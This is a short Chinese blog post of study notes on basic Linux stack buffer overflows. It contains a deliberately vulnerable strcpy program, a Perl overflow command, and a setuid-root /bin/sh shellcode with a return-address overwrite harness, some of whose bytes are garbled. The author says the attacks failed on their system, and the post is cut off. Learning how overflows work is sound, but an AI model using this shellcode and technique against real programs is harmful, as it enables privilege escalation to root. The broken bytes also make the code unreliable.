| |
| 基本linux攻击 |
|
| 来源:
ChinaUnix博客 日期:
2008.04.13 09:46 (共有条评论) 我要评论 |
| |
1 栈操作
具体的函数调用过程:
http://blog.csdn.net/xgbing/archive/2006/03/08/618528.aspx
2 缓冲区溢出
2.1
#includestdio.h>
void greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
int main(int argc, char *argv[]) {
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}
编译 gcc -g -o meet meet.c
为了产生400个字节的缓冲溢出,还需要学习Perl,现在只需要了解:
'perl -e 'print "A" x 600''
就是输出600个A。
执行命令:./meet Mr 'perl -e 'print "A" x 600''
但是我的由没有成功,具体原因不明,我想把它搞定估计没那么容易,暂时放一放。
2.2 栈溢出的结果:
1, 拒绝服务,就是段错误之类的。
2, 返回的eip被修改,导致可能执行恶意代码。
3, 在2的基础上以root身份执行恶意代码。
3 本地缓冲溢出攻击
3.1 shellcode
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x7 6\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xf f \xf f \xf f/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
好多东西在我的机器上实验都没有成功,我估计是因为这些漏洞都已经修复,所以我也就不把这些写在博客上了,毕竟没什么意义。
但是还是要总结一下:
1 栈溢出就是指在局部变量或调用的时候将其他的地址占用,造成了安全漏洞,通过学习了解了为什么suid是一个有漏洞的程序,因为它以root身份运行,所以如果被人站溢出,那么将会以root权限运行恶意程序。
2 堆是动态分配的,堆溢出也是利用了内存边界问题,也就是说申请的空间上添上恶意代码,这样就可以执行而已代码了。
3 就像前面我提到一样,这样的漏洞都是可以有安全措施的,比如内存安全控制机制。
后面的一些内容是关于shellcode的,我的上帝,那么代码要自己敲也太

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/66022/showart_529144.html
|
| 发表评论
查看评论(共有条评论)
我要提问
|
| |
|
|
|